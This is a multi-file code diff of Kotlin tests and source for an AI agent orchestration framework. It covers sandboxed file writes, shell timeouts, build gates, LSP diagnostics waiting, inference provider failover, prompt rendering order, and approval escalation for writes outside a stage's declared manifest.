val dir = Files.createTempDirectory("sbx-noop").toRealPath()
val target = dir.resolve("f.txt")
Files.writeString(target, "SAME")
val tool = FileWriteTool(allowedPaths = setOf(dir))
val store = FakeArtifactStore()
val events = CapturingEventStore()
val result = executor(tool, store, events).execute(writeRequest(target.toString(), "SAME"))
assertTrue(result is ToolResult.Success)
val success = result as ToolResult.Success
assertTrue(success.output.startsWith("No change:"), success.output)
assertEquals("true", success.metadata["noop"])
}
@Test
fun `changing content keeps the normal success message`(): Unit = runBlocking {
val dir = Files.createTempDirectory("sbx-changed").toRealPath()
val target = dir.resolve("f.txt")
Files.writeString(target, "OLD")
val tool = FileWriteTool(allowedPaths = setOf(dir))
val store = FakeArtifactStore()
val events = CapturingEventStore()
val result = executor(tool, store, events).execute(writeRequest(target.toString(), "NEW"))
val success = result as ToolResult.Success
assertTrue(!success.output.startsWith("No change:"), success.output)
assertNull(success.metadata["noop"])
}
@Test
fun `no artifact store means no FileWrittenEvent (backward compatible)`(): Unit = runBlocking {
val dir = Files.createTempDirectory("sbx-nostore").toRealPath()
@@ -155,8 +155,9 @@ class ShellToolTest {
assertTrue(result is ToolResult.Failure)
val failure = result as ToolResult.Failure
assertEquals("Process timed out after 100ms", failure.reason)
assertFalse(failure.recoverable)
assertTrue(failure.reason.contains("did not exit within 100ms"), failure.reason)
assertTrue(failure.reason.contains("detached"), "must coach the model to background it")
assertTrue(failure.recoverable, "a timeout is a long-running command, not a fatal error")
}
@Test
@@ -329,8 +329,10 @@ class ExecutionPlanCompiler(
val ownsRealBuild = declaredExpectations.values.any {
it == BuildExpectation.PROJECT || it == BuildExpectation.TESTS
}
if (ownsRealBuild) return emptySet()
val writing = plan.stages.filter { it.writes.any { path -> path.isNotBlank() } }.map { it.id }.toSet()
// A mid-plan PROJECT/TESTS declaration verifies nothing written after it, so it suppresses
// the per-writing-stage gates (those builds would be redundant) but never the terminal floor.
if (ownsRealBuild) return setOf(terminalStageId(plan))
return if (writing.isEmpty()) emptySet() else writing + terminalStageId(plan)
}
@@ -132,6 +132,7 @@ class Lsp4jDiagnosticsRunner(
severity = diagnostic.severity?.name?.lowercase() ?: "error",
code = diagnostic.code?.let { if (it.isLeft) it.left else it.right.toString() },
message = diagnostic.message,
tags = diagnostic.tags.orEmpty().map { it.name.lowercase() },
)
}
}
@@ -146,23 +147,52 @@ class Lsp4jDiagnosticsRunner(
/**
* Block until every opened URI has received at least one push (or the timeout elapses), then
* a short settle window so servers that push an empty report first, real diagnostics second
* (tsserver does this after project load) land their final result before we read it.
* wait for a quiet period anchored to the last server publication. Servers such as tsserver
* can publish an empty report while loading the project and real diagnostics afterward; a
* timer started immediately after didOpen reads the workspace before the server is ready.
*/
private fun awaitDiagnostics(client: CollectingLanguageClient, uris: Set<String>) {
val deadline = System.nanoTime() + TimeUnit.SECONDS.toNanos(timeoutSeconds)
while (System.nanoTime() < deadline && !client.hasAll(uris)) {
Thread.sleep(POLL_MS)
}
Thread.sleep(SETTLE_MS)
client.awaitAll(uris, deadline)
client.awaitQuiet(deadline, TimeUnit.MILLISECONDS.toNanos(SETTLE_MILLIS))
}
private class CollectingLanguageClient : LanguageClient {
private val byUri = ConcurrentHashMap<String, List<Diagnostic>>()
private val updates = Object()
@Volatile private var lastUpdateNanos = 0L
fun latestFor(uri: String): List<Diagnostic> = byUri[uri].orEmpty()
fun hasAll(uris: Set<String>): Boolean = byUri.keys.containsAll(uris)
fun awaitAll(uris: Set<String>, deadline: Long) {
synchronized(updates) {
while (!hasAll(uris)) {
val remaining = deadline - System.nanoTime()
if (remaining <= 0) return
updates.wait(TimeUnit.NANOSECONDS.toMillis(remaining).coerceAtLeast(1))
}
}
}
fun awaitQuiet(deadline: Long, quietNanos: Long) {
synchronized(updates) {
while (true) {
val remaining = deadline - System.nanoTime()
if (remaining <= 0) return
val sinceUpdate = System.nanoTime() - lastUpdateNanos
if (lastUpdateNanos != 0L && sinceUpdate >= quietNanos) return
val waitNanos = minOf(remaining, quietNanos - sinceUpdate)
updates.wait(TimeUnit.NANOSECONDS.toMillis(waitNanos).coerceAtLeast(1))
}
}
}
override fun publishDiagnostics(diagnostics: PublishDiagnosticsParams) {
byUri[diagnostics.uri] = diagnostics.diagnostics.orEmpty()
synchronized(updates) {
lastUpdateNanos = System.nanoTime()
updates.notifyAll()
}
}
override fun telemetryEvent(`object`: Any?) = Unit
override fun showMessage(messageParams: MessageParams) = Unit
@@ -172,7 +202,6 @@ class Lsp4jDiagnosticsRunner(
}
private companion object {
const val POLL_MS = 100L
const val SETTLE_MS = 750L
const val SETTLE_MILLIS = 750L
}
}
@@ -8,6 +8,7 @@ import com.correx.core.events.types.StageId
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.assertThrows
import kotlin.test.assertEquals
import kotlin.test.assertFalse
import kotlin.test.assertNotNull
import kotlin.test.assertTrue
@@ -590,9 +591,9 @@ class ExecutionPlanCompilerTest {
}
@Test
fun `an explicitly declared PROJECT gate suppresses the auto gate`() {
// A PROJECT build is a real whole-project build the planner owns, so the compiler must
// not add its own terminal floor on top.
fun `an explicitly declared PROJECT gate suppresses per-stage gates but not the terminal floor`() {
// A mid-plan PROJECT build verifies only what existed when it ran, so it drops the
// redundant per-writing-stage gates while the terminal floor stays (#263).
val planned = """
{
"goal": "scaffold a react app",
@@ -613,9 +614,13 @@ class ExecutionPlanCompilerTest {
com.correx.core.transitions.graph.BuildExpectation.PROJECT,
graph.stages[StageId("entry")]!!.buildExpectation,
)
assertFalse(
graph.stages.getValue(StageId("entry")).autoBuildGate,
"a declared PROJECT build suppresses the redundant per-writing-stage gates",
)
assertTrue(
graph.stages.values.none { it.autoBuildGate },
"a real PROJECT build declared anywhere suppresses the auto gate",
graph.stages.getValue(StageId("views")).autoBuildGate,
"the terminal stage keeps its build floor — the declared build ran before later writes",
)
}
+1
View File
@@ -0,0 +1 @@
f8f9beb8-b1d4-40b5-8099-9f70eb84ac5b
@@ -13,8 +13,10 @@ import com.correx.core.inference.RoutingStrategy
import com.correx.testing.fixtures.inference.MockInferenceProvider
import kotlinx.coroutines.runBlocking
import org.junit.jupiter.api.Assertions.assertSame
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
import org.junit.jupiter.api.assertThrows
import kotlin.time.Duration.Companion.milliseconds
class DefaultInferenceRouterTest {
@@ -157,4 +159,82 @@ class DefaultInferenceRouterTest {
val result = router.route(stage, setOf(ModelCapability.General), "llama-cpp:sick")
assertSame(healthy, result)
}
// ── bounded wait for a briefly-absent provider (#299) ─────────────────────
@Test
fun `waits for the sole capable provider to recover instead of failing immediately`(): Unit = runBlocking {
var healthChecks = 0
val recovering = object : InferenceProvider by provider("a", ModelCapability.ToolCalling) {
override suspend fun healthCheck(): ProviderHealth {
healthChecks++
return if (healthChecks < 3) ProviderHealth.Unavailable("connection dropped") else ProviderHealth.Healthy
}
}
val router = DefaultInferenceRouter(
registryOf(recovering),
firstStrategy(),
unavailableRetryAttempts = 5,
unavailableRetryDelay = 5.milliseconds,
)
val result = router.route(stage, setOf(ModelCapability.ToolCalling))
assertSame(recovering, result)
assertTrue(healthChecks >= 3) { "expected at least 3 health checks, got $healthChecks" }
}
@Test
fun `still throws NoEligibleProviderException if the sole provider never recovers within the bound`() {
val neverRecovers = MockInferenceProvider(
id = ProviderId("a"),
declaredCapabilities = setOf(CapabilityScore(ModelCapability.ToolCalling, 1.0)),
health = ProviderHealth.Unavailable("still down"),
)
val router = DefaultInferenceRouter(
registryOf(neverRecovers),
throwingStrategy(),
unavailableRetryAttempts = 2,
unavailableRetryDelay = 5.milliseconds,
)
assertThrows<NoEligibleProviderException> {
runBlocking { router.route(stage, setOf(ModelCapability.ToolCalling)) }
}
}
@Test
fun `fails fast without waiting when the capability was never configured on any provider`(): Unit = runBlocking {
val p = provider("a", ModelCapability.General) // does not declare ToolCalling
val router = DefaultInferenceRouter(
registryOf(p),
throwingStrategy(),
unavailableRetryAttempts = 5,
unavailableRetryDelay = 10_000.milliseconds, // would time the test out if the wait loop ran
)
assertThrows<NoEligibleProviderException> {
router.route(stage, setOf(ModelCapability.ToolCalling))
}
}
// ── event-driven health gating (#300) ─────────────────────────────────────
@Test
fun `reportFailure gates the very next route call without waiting for a health poll`(): Unit = runBlocking {
var healthCheckCount = 0
val alwaysClaimsHealthy = object : InferenceProvider by provider("a", ModelCapability.General) {
override suspend fun healthCheck(): ProviderHealth {
healthCheckCount++
return ProviderHealth.Healthy // the provider's own health probe hasn't caught up yet
}
}
val backup = provider("b", ModelCapability.General)
val router = DefaultInferenceRouter(registryOf(alwaysClaimsHealthy, backup), firstStrategy())
// Sanity: before reportFailure, routes to the first (still "healthy") provider.
assertSame(alwaysClaimsHealthy, router.route(stage, setOf(ModelCapability.General)))
router.reportFailure(alwaysClaimsHealthy.id, "connection reset")
// Immediately after — no delay, no waiting for the next poll — routing must avoid it.
val result = router.route(stage, setOf(ModelCapability.General))
assertSame(backup, result)
}
}
@@ -168,4 +168,57 @@ class PromptRendererOrderingTest {
messages.map { it.role to it.content },
)
}
@Test
fun `an L0 USER entry renders as a user message, not folded into system`() {
// #312: role alone decides the message type. A mutating L0 entry (verified baseline,
// claimed task, steering note) stays pinned by its layer but must not enter the cached
// system prefix. Also covers the summarizer/reviewer packs, which are L0+USER prompts
// that used to render as a system-only request with no user turn at all.
val pack = ContextPack(
id = ContextPackId("p"),
sessionId = sessionId,
stageId = stageId,
layers = mapOf(
ContextLayer.L0 to listOf(
entry("sys", ContextLayer.L0, EntryRole.SYSTEM, "systemPrompt"),
entry("baseline", ContextLayer.L0, EntryRole.USER, "verifiedBaseline"),
),
),
budgetUsed = 20,
budgetLimit = 4000,
)
assertEquals(
listOf("system" to "sys", "user" to "baseline"),
PromptRenderer.render(pack).map { it.role to it.content },
)
}
@Test
fun `only the highest-precedence repair mandate renders, with the delta appended`() {
// #312 scarcity guard: a recovery stage on a retry with an unmet delta would otherwise
// stack three competing "do this next" blocks and the trailing slot stops being
// authoritative. recoveryTicket outranks retryFeedback; remainingDelta is not a
// competing mandate (it is the completion signal) so it appends rather than displacing.
val pack = ContextPack(
id = ContextPackId("p"),
sessionId = sessionId,
stageId = stageId,
layers = mapOf(
ContextLayer.L1 to listOf(
entry("task", ContextLayer.L1, EntryRole.USER, "agentPrompt"),
entry("retry", ContextLayer.L1, EntryRole.USER, "retryFeedback"),
entry("ticket", ContextLayer.L1, EntryRole.USER, "recoveryTicket"),
entry("delta", ContextLayer.L1, EntryRole.USER, "remainingDelta"),
),
),
budgetUsed = 40,
budgetLimit = 4000,
)
val messages = PromptRenderer.render(pack)
assertEquals("ticket\n\ndelta", messages.last().content)
assertEquals("user", messages.last().role)
// The losing mandate is dropped entirely — it must not leak back into the inline flow.
assertEquals(false, messages.any { it.content.contains("retry") })
}
}
File diff suppressed because one or more lines are too long
@@ -19,6 +19,7 @@ import com.correx.core.context.compression.ContextCompressor
import com.correx.core.context.model.ContextEntry
import com.correx.core.context.model.TokenBudget
import com.correx.core.events.events.ApprovalRequestedEvent
import com.correx.core.events.events.ContextAssembledEvent
import com.correx.core.events.events.ContextTruncatedEvent
import com.correx.core.events.events.InferenceCompletedEvent
import com.correx.core.events.events.InferenceStartedEvent
@@ -43,10 +44,14 @@ import com.correx.core.inference.InferenceProvider
import com.correx.core.inference.InferenceRepository
import com.correx.core.inference.InferenceRequest
import com.correx.core.inference.InferenceResponse
import com.correx.core.inference.DefaultInferenceRouter
import com.correx.core.inference.InferenceRouter
import com.correx.core.inference.InferenceState
import com.correx.core.inference.ModelCapability
import com.correx.core.inference.NoEligibleProviderException
import com.correx.core.inference.ProviderHealth
import com.correx.core.inference.ProviderRegistry
import com.correx.core.inference.RoutingStrategy
import com.correx.core.inference.Token
import com.correx.core.inference.TokenUsage
import com.correx.core.inference.Tokenizer
@@ -216,6 +221,84 @@ class SessionOrchestratorIntegrationTest {
assertTrue(failed.retryExhausted)
}
@Test
fun `transient NoEligibleProviderException on a retry is tolerated, not a session-killing crash (#299)`(): Unit =
runBlocking {
val sessionId = SessionId("s2b")
val config = OrchestrationConfig(
retryPolicy = RetryPolicy(maxAttempts = 3, backoffMs = 0),
)
val graph = threeStageGraph()
var routeCalls = 0
val recoveringOrchestrator = DefaultSessionOrchestrator(
repositories = repositories,
engines = engines.copy(
inferenceRouter = object : InferenceRouter {
override suspend fun route(stageId: StageId, requiredCapabilities: Set<ModelCapability>): InferenceProvider {
routeCalls++
// First attempt hits the provider mid-crash — subsequent retries find it back.
if (routeCalls == 1) throw NoEligibleProviderException(stageId, requiredCapabilities)
return MockInferenceProvider()
}
},
),
retryCoordinator = retryCoordinator,
artifactStore = artifactStore,
decisionJournalRepository = decisionJournalRepository,
)
recoveringOrchestrator.run(sessionId, graph, config)
val events = eventStore.read(sessionId)
// A crash would have skipped straight to an unhandled failure with no WorkflowCompletedEvent
// and no orderly retry — assert the session survived and made it through via the retry path.
assertTrue(routeCalls > 1) { "expected routing to be retried, only called $routeCalls time(s)" }
assertNotNull(events.find { it.payload is WorkflowCompletedEvent })
assertTrue(events.none { it.payload is WorkflowFailedEvent })
}
@Test
fun `connection-level inference failure gates routing away from the dead provider immediately (#300)`(): Unit =
runBlocking {
val sessionId = SessionId("s2c")
val config = OrchestrationConfig(
retryPolicy = RetryPolicy(maxAttempts = 3, backoffMs = 0),
)
val graph = threeStageGraph()
val dead = MockInferenceProvider(
id = ProviderId("dead"),
forcedFailure = "Failed to parse HTTP response: the server prematurely closed the connection",
)
val backup = MockInferenceProvider(id = ProviderId("backup"))
// Router's own health probe (dead.healthCheck()) still reports Healthy — it hasn't
// polled yet — so only the event-driven reportFailure() from the orchestrator's catch
// block (not the periodic poll) can gate the retry away from `dead`.
val registry = object : ProviderRegistry {
override fun register(provider: com.correx.core.inference.InferenceProvider) = Unit
override fun resolve(capability: ModelCapability) = listOf(dead, backup)
override fun listAll() = listOf(dead, backup)
override suspend fun healthCheckAll() = mapOf(dead.id to ProviderHealth.Healthy, backup.id to ProviderHealth.Healthy)
}
val router = DefaultInferenceRouter(
registry = registry,
strategy = RoutingStrategy { candidates, _ -> candidates.first() },
)
val recoveringOrchestrator = DefaultSessionOrchestrator(
repositories = repositories,
engines = engines.copy(inferenceRouter = router),
retryCoordinator = retryCoordinator,
artifactStore = artifactStore,
decisionJournalRepository = decisionJournalRepository,
)
recoveringOrchestrator.run(sessionId, graph, config)
val events = eventStore.read(sessionId)
assertNotNull(events.find { it.payload is WorkflowCompletedEvent })
assertEquals(1, dead.inferCallCount) { "dead provider should only be attempted once, then gated out" }
}
@Test
fun `stage that matches no transition retries through the budget before failing`(): Unit = runBlocking {
val sessionId = SessionId("s-no-transition-retry")
@@ -453,6 +536,22 @@ class SessionOrchestratorIntegrationTest {
assertTrue(truncated.first().entriesDropped >= 1)
}
@Test
fun `stage context build emits ContextAssembledEvent with a manifest (#307)`(): Unit = runBlocking {
val sessionId = SessionId("s-manifest")
val config = OrchestrationConfig(retryPolicy = RetryPolicy(maxAttempts = 3, backoffMs = 0))
orchestrator.run(sessionId, graph, config)
val assembled = eventStore.read(sessionId).mapNotNull { it.payload as? ContextAssembledEvent }
assertTrue(assembled.isNotEmpty(), "expected a ContextAssembledEvent per stage context build")
val first = assembled.first()
assertEquals(StageId("A"), first.stageId)
assertTrue(first.entries.isNotEmpty(), "manifest should list the entries injected into the stage")
// Manifest-only: identifying fields present, never the content (content lives in CAS/replay).
assertTrue(first.entries.all { it.sourceType.isNotBlank() && it.layer.isNotBlank() && it.role.isNotBlank() })
}
@Test
fun `artifactStore put is called for prompt and response and ids appear on inference events`(): Unit = runBlocking {
val recordingStore = RecordingArtifactStore()
@@ -18,6 +18,8 @@ import com.correx.core.events.events.ToolExecutionCompletedEvent
import com.correx.core.events.events.ToolExecutionRejectedEvent
import com.correx.core.events.events.ToolInvocationRequestedEvent
import com.correx.core.events.events.ToolRequest
import com.correx.core.events.events.WriteScopeGrantedEvent
import com.correx.core.toolintent.rules.ManifestContainmentRule
import com.correx.core.toolintent.rules.ReadBeforeWriteRule
import com.correx.core.toolintent.rules.ReferenceExistsRule
import com.correx.core.tools.contract.ParamRole
@@ -50,6 +52,7 @@ import com.correx.core.kernel.orchestration.OrchestrationConfig
import com.correx.core.kernel.orchestration.OrchestrationProjector
import com.correx.core.kernel.orchestration.OrchestrationRepository
import com.correx.core.kernel.orchestration.OrchestratorEngines
import com.correx.core.kernel.orchestration.OrchestrationTuning
import com.correx.core.kernel.orchestration.OrchestratorRepositories
import com.correx.core.kernel.retry.DefaultRetryCoordinator
import com.correx.core.risk.DefaultRiskAssessor
@@ -719,6 +722,178 @@ class ToolCallGateTest {
)
}
/**
* #301: a write repeatedly rejected for being outside the stage's declared manifest escalates
* to user approval after N same-path rejections instead of hard-blocking forever. On approval
* the FIRST attempt's pristine write is applied (widening the manifest for the session), and
* later attempts to the same path skip the prompt entirely.
*/
@Test
fun `Nth same-path PATH_OUTSIDE_MANIFEST rejection escalates to approval, which then executes the first attempt (#301)`(): Unit =
runBlocking {
val blockedPath = "/work/scratch/blocked.kt"
// T2 so the approval engine cannot auto-approve under PROMPT mode (T1 would auto-approve
// and the escalation would never actually pause) — mirrors the other PROMPT_USER tests.
val fileWriteTool = object : Tool {
override val name = "file_write"
override val description = "write"
override val parametersSchema: JsonObject = buildJsonObject {}
override val tier = Tier.T2
override val requiredCapabilities: Set<ToolCapability> = setOf(ToolCapability.FILE_WRITE)
override val paramRoles: Map<String, ParamRole> = mapOf("path" to ParamRole.PATH)
override fun validateRequest(request: ToolRequest): ValidationResult = ValidationResult.Valid
}
val toolRegistry = object : ToolRegistry {
override fun resolve(name: String): Tool? = if (name == "file_write") fileWriteTool else null
override fun all(): List<Tool> = listOf(fileWriteTool)
}
var turnCount = 0
val provider = object : InferenceProvider {
override val id = ProviderId("scope-escalate")
override val name = "scope-escalate"
override val tokenizer: Tokenizer = MockTokenizer()
val requests = mutableListOf<InferenceRequest>()
override suspend fun infer(request: InferenceRequest): InferenceResponse {
requests += request
turnCount++
// Turns 1-3 keep retrying the exact same out-of-manifest write; turn 4 (after
// the escalated approval resolves) stops so the run completes.
return if (turnCount <= 3) {
InferenceResponse(
request.requestId, "", FinishReason.ToolCall, TokenUsage(1, 1), 0,
listOf(
ToolCallRequest(
id = "tc-$turnCount",
function = ToolCallFunction("file_write", """{"path":"$blockedPath"}"""),
),
),
)
} else {
InferenceResponse(request.requestId, "done", FinishReason.Stop, TokenUsage(1, 1), 0)
}
}
override suspend fun healthCheck(): ProviderHealth = ProviderHealth.Healthy
override fun capabilities(): Set<CapabilityScore> = setOf(CapabilityScore(ModelCapability.General, 1.0))
}
val fakeProbe = object : com.correx.core.toolintent.WorldProbe {
override fun exists(path: Path): Boolean = true
override fun resolveReal(path: Path): Path = path.toAbsolutePath().normalize()
}
val eventStore = InMemoryEventStore()
val artifactStore = NoopArtifactStore()
val assessor = ToolCallAssessor(listOf(ManifestContainmentRule()))
val policy = WorkspacePolicy(workspace)
val executor = RecordingExecutor()
val repositories = OrchestratorRepositories(
eventStore = eventStore,
inferenceRepository = InferenceRepository(object : EventReplayer<InferenceState> {
override fun rebuild(sessionId: SessionId) = InferenceState()
}),
orchestrationRepository = OrchestrationRepository(
DefaultEventReplayer(eventStore, OrchestrationProjector(DefaultOrchestrationReducer())),
),
sessionRepository = DefaultSessionRepository(
DefaultEventReplayer(eventStore, SessionProjector(DefaultSessionReducer())),
),
artifactRepository = LiveArtifactRepository(eventStore, DefaultArtifactReducer()),
approvalRepository = DefaultApprovalRepository(
DefaultEventReplayer(eventStore, ApprovalProjector(DefaultApprovalReducer())),
),
)
val engines = OrchestratorEngines(
transitionResolver = DefaultTransitionResolver { _, _ -> true },
contextPackBuilder = ContextFixtures.simpleBuilder(),
inferenceRouter = object : InferenceRouter {
override suspend fun route(stageId: StageId, requiredCapabilities: Set<ModelCapability>): InferenceProvider = provider
},
validationPipeline = ValidationPipeline(validators = listOf(cyclePolicyMissingValidator())),
approvalEngine = DefaultApprovalEngine(),
riskAssessor = DefaultRiskAssessor(),
toolExecutor = executor,
toolRegistry = toolRegistry,
toolCallAssessor = assessor,
workspacePolicy = policy,
worldProbe = fakeProbe,
)
val orchestrator = DefaultSessionOrchestrator(
repositories = repositories,
engines = engines,
retryCoordinator = DefaultRetryCoordinator(eventStore),
artifactStore = artifactStore,
decisionJournalRepository = DefaultDecisionJournalRepository(
DefaultEventReplayer(eventStore, DecisionJournalProjector(DefaultDecisionJournalReducer())),
),
// Escalate after 2 same-path rejections instead of the default 3, so the test's
// 3rd attempt is the one that triggers the approval prompt.
tuning = OrchestrationTuning(escalateScopeAfterN = 2),
)
val sessionId = SessionId("scope-escalate")
val graph = WorkflowGraph(
id = "scope-escalate-test",
stages = mapOf(
StageId("A") to StageConfig(
allowedTools = setOf("file_write"),
writeManifest = listOf("allowed/**"),
),
),
transitions = setOf(
TransitionEdge(TransitionId("t1"), StageId("A"), StageId("done"), condition = { true }),
),
start = StageId("A"),
)
val config = OrchestrationConfig(retryPolicy = RetryPolicy(maxAttempts = 1, backoffMs = 0))
val job = launch { orchestrator.run(sessionId, graph, config) }
// Wait for the 3rd attempt's escalation to raise an ApprovalRequestedEvent.
val approval = withTimeout(5_000) {
var req: ApprovalRequestedEvent? = null
while (req == null) {
req = eventStore.read(sessionId).firstNotNullOfOrNull { it.payload as? ApprovalRequestedEvent }
if (req == null) yield()
}
req
}
assertEquals("file_write", approval.toolName)
// Exactly 2 hard rejections happened before the escalation (turns 1 and 2); the 3rd
// attempt paused for approval instead of rejecting again.
val rejectionsBeforeApproval = eventStore.read(sessionId).count { it.payload is ToolExecutionRejectedEvent }
assertEquals(2, rejectionsBeforeApproval, "expected exactly 2 hard rejections before escalation")
assertTrue(!executor.executeCalled.get(), "executor must not run before the escalated approval resolves")
orchestrator.submitApprovalDecision(
approval.requestId,
ApprovalDecision(
id = null,
requestId = approval.requestId,
outcome = ApprovalOutcome.APPROVED,
state = ApprovalStatus.COMPLETED,
tier = Tier.T2,
contextSnapshot = ApprovalContext(
identity = ApprovalScopeIdentity(sessionId, StageId("A"), projectId = null),
mode = ApprovalMode.PROMPT,
),
resolutionTimestamp = Clock.System.now(),
reason = "approved widening",
),
)
withTimeout(5_000) {
while (eventStore.read(sessionId).none { it.payload is WriteScopeGrantedEvent }) yield()
}
job.join()
assertTrue(executor.executeCalled.get(), "the approved write must execute")
val grant = eventStore.read(sessionId).firstNotNullOfOrNull { it.payload as? WriteScopeGrantedEvent }
assertEquals(blockedPath, grant?.path)
}
@Test
fun `empty allowedTools denies all domain tools and emits ToolExecutionRejectedEvent`(): Unit = runBlocking {
val executor = RecordingExecutor()
@@ -26,6 +26,7 @@ import com.correx.core.events.types.StageId
import com.correx.core.events.types.TransitionId
import com.correx.core.events.events.RepoKnowledgeHit
import com.correx.core.kernel.orchestration.buildAgentInstructionsEntry
import com.correx.core.kernel.orchestration.buildAgentPromptEntry
import com.correx.core.kernel.orchestration.buildArtifactKindVocabularyEntry
import com.correx.core.kernel.orchestration.buildProjectProfileEntry
import com.correx.core.kernel.orchestration.buildRelevantFilesEntry
@@ -38,6 +39,7 @@ import com.correx.core.transitions.graph.TransitionEdge
import com.correx.core.transitions.graph.WorkflowGraph
import com.correx.testing.fixtures.EventFixtures.stored
import org.junit.jupiter.api.Assertions.assertEquals
import org.junit.jupiter.api.Assertions.assertFalse
import org.junit.jupiter.api.Assertions.assertNull
import org.junit.jupiter.api.Assertions.assertTrue
import org.junit.jupiter.api.Test
@@ -95,10 +97,10 @@ class ContextFeedbackTest {
val entry = buildRetryFeedbackEntry(events, StageId("impl"))!!
assertTrue(entry.content.contains("## Retry repair state"), "content: ${entry.content}")
assertTrue(entry.content.contains("gate 'execution'"), "content: ${entry.content}")
assertTrue(
entry.content.contains("frontend/src/hooks/queries.ts — CAS cafebabe"),
"content: ${entry.content}",
)
// Path only: the raw CAS hash is opaque noise the model can't act on and confuses it into
// reasoning about hashes — it patches by path via file_read/file_write.
assertTrue(entry.content.contains("- frontend/src/hooks/queries.ts"), "content: ${entry.content}")
assertFalse(entry.content.contains("cafebabe"), "content: ${entry.content}")
assertTrue(entry.content.contains("do NOT re-read"), "content: ${entry.content}")
}
@@ -193,6 +195,19 @@ class ContextFeedbackTest {
assertEquals("projectProfile", entry.sourceType)
}
@Test
fun `stage role prompt renders as the system prompt, not a user turn`() {
// #416: as L1/USER this arrived as a user message behind the intent, journal, repo map and docs
// catalog, outranked by the pinned schemaInstruction that contradicts it. Live session fced377e:
// discovery never acknowledged its role and drifted into implementation.
val entry = buildAgentPromptEntry("You discover. You do not implement.", StageId("discovery"), 7)
assertEquals(ContextLayer.L0, entry.layer)
assertEquals(EntryRole.SYSTEM, entry.role)
assertEquals("agentPrompt", entry.sourceType)
assertEquals("discovery", entry.sourceId)
assertEquals("You discover. You do not implement.", entry.content)
}
@Test
fun `agent instructions render as single L0 entry`() {
val entry = buildAgentInstructionsEntry(